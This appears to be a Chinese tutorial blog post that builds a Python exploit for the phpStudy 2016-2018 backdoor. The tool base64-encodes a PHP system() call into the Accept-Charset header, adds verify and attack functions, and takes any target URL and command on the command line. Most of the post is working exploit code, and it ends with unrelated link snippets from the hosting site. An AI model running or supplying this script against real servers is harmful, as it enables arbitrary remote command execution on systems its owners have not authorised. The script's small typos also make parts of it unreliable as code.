phpstudy RCE脚本编写(Python)

news2025/1/13 11:53:41

文章目录

  • 编写过程
  • 脚本优化

编写过程

关于phpstudy 2016-2018 RCE漏洞的验证,请移步我的这篇博客 phpstudy2016 RCE漏洞验证。

将之前漏洞验证的数据包复制下来,编写脚本时需要使用:

GET /phpinfo.php HTTP/1.1
Host: 10.9.75.164
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.5672.93 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://10.9.75.164/
Accept-Charset:c3lzdGVtKCdpcGNvbmZpZycpOw==
Accept-Encoding:gzip,deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=8u2538icnljkbrojp7st99imq3
Connection: close

将数据包中的User-Agent字段、Accept-Encoding字段、Accept-Charset写成一个headers字典:

headers={
	"User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)",
	"Accept-Encoding":"gzip,deflate",
	"Accept-Charset":"c3lzdGVtKCdpcGNvbmZpZycpOw=="
}

如果想执行由用户输入的任意代码,就要用base64模块给命令做编码,并添加一个cmd变量,替换Accept-Charset的内容,下面以whoami为例:

.b64encode(cmd.encode()).decode()将cmd用.encode方法转成二进制对象,然后.base64encode方法将它编码(加密) 并返回bytes对象,最后.decode方法返回字符串

import base64

cmd="whoami"
cmd= f"system( '{cmd}');"
cmd=base64.b64encode(cmd.encode()).decode()

headers={
	"User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)",
	"Accept-Encoding":"gzip,deflate",
	"Accept-Charset":  cmd
}

用requests模块发送数据包并接收,用正则表达式从输出中过滤出命令注入后的回显:

import requests
res = requests.get(url= url, headers= headers)

print(res.text[:res.text.find("<!DOCTYPE html PUBLIC")])

然后用sys模块接收用户想要执行RCE的url地址:

import sys

url= sys.argv[1]

如果用户未输入URL,这时会报错,所以需要j将上述代码做一个异常处理,提示用户正确输入URL:

import sys

try:
	url= sys.argv[1]
except:
	print("[+] Usage:python*.py [please input url]")
	exit()

下面是完整脚本:

# phpstudy_2016-2018 rce backdoor.py

import base64
import requests
import sys


try:
	url= sys.argv[1]
except:
	print("[+] Usage:python*.py [please input url]")
	exit()

cmd="whoami"
cmd= f"system( '{cmd}');"
cmd=base64.b64encode(cmd.encode()).decode()

headers={
	"User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)",
	"Accept-Encoding":"gzip,deflate",
	"Accept-Charset":  cmd
}

res = requests.get(url= url, headers= headers)
print(res.text[:res.text.find("<!DOCTYPE html PUBLIC")])

如下图,不输入url后会报错,提示用户正确输入:
在这里插入图片描述

加上URL后可以看到whoami命令被成功执行:

在这里插入图片描述

脚本优化

1.加上选项,无选项时,输出banner信息

​ a.创建选项解析对象

​ -u/–url 指定检测目标
​ -c/-- command 要执行的命令

​ b.设定选项

​ c.解析选项对象

2.漏洞检测:无损检测

3.漏洞利用:执行任意命令

脚本优化可以从上面三点入手,给脚本加上选项需要用到argparse模块,并分三个小步骤,加上一个没有解析对象时输出的banner信息,用if not args.url判断,没有url对象时输出banner:

import argparse

banner="""
-------------------------------------------------------
Usage: python3 *.py -u http://10.4.7.128/phpinfo.php -c whoami
-------------------------------------------------------
"""
# 创建选项对象
parser = argparse.ArgumentParser()
#设定选项
parser.add_argument('-u','--url',heLp='指定检测目标',dest="url")
parser.add_argument('-c','--command',help='要执行的命令',dest="cmd")
# 解析选项对象
args= parser.parse.args()

if not args.url:
	print(banner)
	exit()

如果有url信息,就执行下面代码:

url= args.url
cmd= args.cmd
print(f"[+] Target: (url}")
print(f"[+] Cmd: (cmd}")

verify()
print(attack(cmd))

下面是漏洞验证代码,原理和漏洞利用的过程大致相同,例如将执行的命令换成一段非命令字符EMT,如果该字符在结果中出现,就输出该url存在漏洞,在这里可以用代码生成一段随机字符,这在我之前的博客 随机密码生成器 中有过详解:

如果用string.printable生成的特殊字符串在Windows输出命令echo中有被转义的风险,所以这里用ascii_letters

import string
import random

random_str= ""
for i in range(16):
	random_str += random.choice(string.ascii_letters)

cmd= f"ehco( '{random_str}');"

if random_str in result:
	print(f"[*] Target {url} is RCE VULNERRABLE!")
else:
	print(f"[*] Target {url} is NOT RCE VULNERRABLE!")

将上述代码封装成一个名叫verify的函数:

import string
import random

def verify():
	random_str= ""
	for i in range(16):
		random_str += random.choice(string.ascii_letters)

	cmd= f"ehco( '{random_str}');"

	if random_str in attack(cmd):
			print(f"[*] Target {url} is RCE VULNERRABLE!")
	else:
			print(f"[*] Target {url} is NOT RCE VULNERRABLE!")
			exit()

将之前漏洞利用的代码写成attack攻击函数:

.content.decode方法让返回值中文不会乱码

def attack(cmd):
	cmd= f"system( '{cmd}');"
	cmd=base64.b64encode(cmd.encode()).decode()

	headers={
	"User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)",
	"Accept-Encoding":"gzip,deflate",
	"Accept-Charset":  cmd
}
	
	res = requests.get(url= url, headers= headers)
	result= res.content.decode("gb2312")
	result= res.text[:res.text.find("<!DOCTYPE html PUBLIC")]
	return result

下面是完整脚本:

import requests
import string
import random
import base64
import argparse

def attack(cmd):
	cmd= f"system( '{cmd}');"
	cmd=base64.b64encode(cmd.encode()).decode()

	headers={
	"User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)",
	"Accept-Encoding":"gzip,deflate",
	"Accept-Charset":  cmd
}
	
	res = requests.get(url= url, headers= headers)
	result= res.content.decode("gb2312")
	result= res.text[:res.text.find("<!DOCTYPE html PUBLIC")]
	return result
	

def verify():
	random_str= ""
	for i in range(16):
		random_str += random.choice(string.ascii_letters)

	cmd= f"ehco( '{random_str}');"

	if random_str in attack(cmd):
			print(f"[*] Target {url} is RCE VULNERRABLE!")
	else:
			print(f"[*] Target {url} is NOT RCE VULNERRABLE!")
			exit()


banner="""
-------------------------------------------------------
Usage: python3 *.py -u http://10.9.75.164/phpinfo.php -c whoami
-------------------------------------------------------
"""
# 创建选项对象
parser = argparse.ArgumentParser()
#设定选项
parser.add_argument('-u','--url',dest="url")
parser.add_argument('-c','--command',dest="cmd")
# 解析选项对象
args= parser.parse_args()

if not args.url:
	print(banner)
	exit()
	
url= args.url
cmd= args.cmd
print(f"[+] Target: {url}")
print(f"[+] Cmd: {cmd}")

verify()
print(attack(cmd))

执行结果如下,在这里可以执行任意代码:

在这里插入图片描述

如果缺少参数,就会体现正确的输入方法:

在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1030028.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

无涯教程-JavaScript - SERIESSUM函数

描述 SERIESSUM函数返回幂级数的总和。幂级数展开可近似许多功能。 语法 SERIESSUM (x, n, m, coefficients)争论 Argument描述Required/OptionalXThe input value to the power series.RequiredNThe initial power to which you want to raise x.RequiredMThe step by whi…

找不到名称 “$“。是否需要安装 jQuery 的类型定义? 请尝试使用 `npm i --save-dev @types/jquery`。

vitevue3环境 1、安装jQuery npm install --save jquery 2、在main.ts文件进行配置 declare const window: any; import jQuery from jquery; window.$ window.jQuery jQuery; 注意&#xff1a;需要声明window属性&#xff1b; 要不然会报错&#xff1a;类型“Window &am…

八、数据类型转换

数据类型转换 1.数据类型转换1.1.隐式类型转换1.2.显式类型转换1.3.训练11.4.训练2 —————————————————————————————————————————————————— 1.数据类型转换 类型转换是将一个值从一种类型更改为另一种类型的过程。例如&…

Navicat 武林小秘籍 | 如何在数据同步期间查看源和目标之间的数据差异

可应用操作系统&#xff1a;Windows、macOS、Linux 可应用 Navicat 产品&#xff1a;Navicat for MySQL、Navicat for PostgreSQL、Navicat for Oracle、Navicat for SQL Server、Navicat for MariaDB、Navicat for SQLite、Navicat for MongoDB、Navicat Premium 可应用 Nav…

【记录】Python 之于 C/C++ 区别

记录本人在 Python 上经常写错的一些地方&#xff08;C/C 写多了&#xff0c;再写 Python 有点切换不过来&#xff09; 逻辑判断符号用 and、or、!可以直接 10 < num < 30 比较大小分支语句&#xff1a;if、elif、else使用 、-&#xff0c;Python 中不支持 、- - 这两个…

LVS 负载均衡集群的DR模式配置

集群 集群的概述 集群技术是一种用于提高系统性能、可用性、容错性和可扩展性的关键方法。它涉及将多个计算资源或节点组合在一起&#xff0c;以协同工作以处理任务、服务请求或数据处理。 集群类型 无论是哪种集群&#xff0c;都至少包括两台节点服务器&#xff0c;而对外…

AB实验总结

互联网有线上系统&#xff0c;可做严格的AB实验。传统行业很多是不能做AB实验的。 匹配侧是采用严格的AB实验来进行模型迭代&#xff0c;而精细化定价是不能通过AB实验来评估模型好坏&#xff0c;经历过合成控制法、双重差分法&#xff0c;目前采用双重差分法来进行效果评估。…

无涯教程-JavaScript - MROUND函数

描述 MROUND函数返回一个舍入为所需倍数的数字。 MROUND函数是Excel中的15个舍入函数之一。 语法 MROUND (number, multiple)争论 Argument描述Required/OptionalNumberThe value to round.RequiredMultipleThe multiple to which you want to round number.Required Note…

如何使用chorme版本对应的ChromeDriver(不用更改Chrome版本)

为什么要这样 我们发现在 官网 下载ChromeDriver的地方&#xff0c;没有对于高版本的下载包&#xff0c;可是我们的浏览器版本是 117.0.5938.88&#xff0c;我又不想降低本地的Chrome版本&#xff0c;因为这样也太蠢了&#xff0c;每次更新后可能老版本就不适用了。 使用方法 …

9.2.3.1 【MySQL】XDES Entry链表

当段中数据较少的时候&#xff0c;首先会查看表空间中是否有状态为 FREE_FRAG 的区&#xff0c;也就是找还有空闲空间的碎片区&#xff0c;如果找到了&#xff0c;那么从该区中取一些零碎的页把数据插进去&#xff1b;否则到表空间下申请一个状态为 FREE 的区&#xff0c;也就是…

链表的分割——哨兵位

现有一链表的头指针 ListNode* pHead&#xff0c;给一定值x&#xff0c;编写一段代码将所有小于x的结点排在其余结点之前&#xff0c;且不能改变原来的数据顺序&#xff0c;返回重新排列后的链表的头指针。 思路&#xff0c;把链表分成两个新链表&#xff0c;然后连接起来 代码…

vue3 @click那些事

vue3element-plus vue3 click那些事 1.动态决定click能否点击 1.动态决定click能否点击 只需要在点击事件前加一个判断条件

MTK联发科MT6762/MT8788安卓核心板性能参数对比

MT6762核心板是联发科的八核处理器&#xff0c;采用12nm制程工艺。MT6762具有集成的蓝牙、fm、WLAN和gps模块&#xff0c;是一个高度集成的基带平台&#xff0c;包括调制解调器和应用处理子系统启用LTE/LTE-A和C2K智能手机应用程序。MT6762芯片集成了ARM Cortex-A53&#xff0c…

乒乓球廉价底板和套胶对比分析

手机最近没办法写微博&#xff0c;在火车上没事&#xff0c;折腾了下&#xff0c;升级后可以了&#xff0c;我近期又打了很多套胶&#xff0c;我还录了段粘拍的视频一会分享。 这次我还是说几款底板和套胶的感受&#xff0c;最近买了dj200不带A底板&#xff0c;palio cc 和银河…

Git小乌龟不弹add push commit的方法

1.关于使用Git小乌龟无法弹出Add菜单的问题 第一次使用小乌龟软件&#xff0c;发现可以正常将程序从Gitee仓库中克隆到本地&#xff0c;但是在将本地的程序上传到Gitee仓库中时&#xff0c;TortoiseGit无法弹出Add那一系列菜单&#xff0c;如下图所示&#xff1a; 2.解决方法 …

大数据-hadoop

1.hadoop介绍 1.1 起源 1.2 版本 1.3生产环境版本选择 Hadoop三大发行版本:Apache、Cloudera、Hortonworks Apache版本最原始的版本 Cloudera在大型互联网企业中用的较多 Hortonworks文档较好 1.4架构 hadoop由三个模块组成 分布式存储HDFS 分布式计算MapReduce 资源调度引擎Y…

Kubernetes 部署RocketMQ高可用集群

Kubernetes 部署RocketMQ高可用集群 导言RocketMQ 常用的部署模式如下单 Master 模式多 Master 多 Slave-异步复制模式 离线镜像制作1.安装 Go 1.162.制作 RocketMQ Operator Image获取 RocketMQ Operator制作 RocketMQ Operator Image 3.制作 RocketMQ Broker Image制作 Rocke…

助力经销商打赢旺季攻坚战,全兴在全国范围内拉开“兴风暴”

执笔 | 姜 姜 编辑 | 萧 萧 中秋、国庆历来是白酒消费的旺季&#xff0c;也是完成当年任务的关键期&#xff0c;尤其今年“双节”合一&#xff0c;各大食品饮料企业都憋足了劲&#xff0c;白酒促销大戏也轮番上演。 作为中国“老八大名酒”之一的全兴酒业谋定而动&#x…

PyTorch C++ 前端:张量

本篇文章将尝试了解 PyTorch 组件的高级概述以及它们如何配合。 PyTorch 组件的高级概述 后端 PyTorch 后端是用 C++ 编写的,它提供 API 来访问高度优化的库,例如:用于高效矩阵运算的张量库、用于执行 GPU 运算的 CUDA 库以及用于梯度计算的自动微分等。 前端 可以使用…

Vue2+ElementUI 静态首页案例

源码 <template><div class"app-container home"><el-row type"flex" justify"space-around" class"row-bg"><el-card class"box-card cardDiv1"><el-col :span"5"><div clas…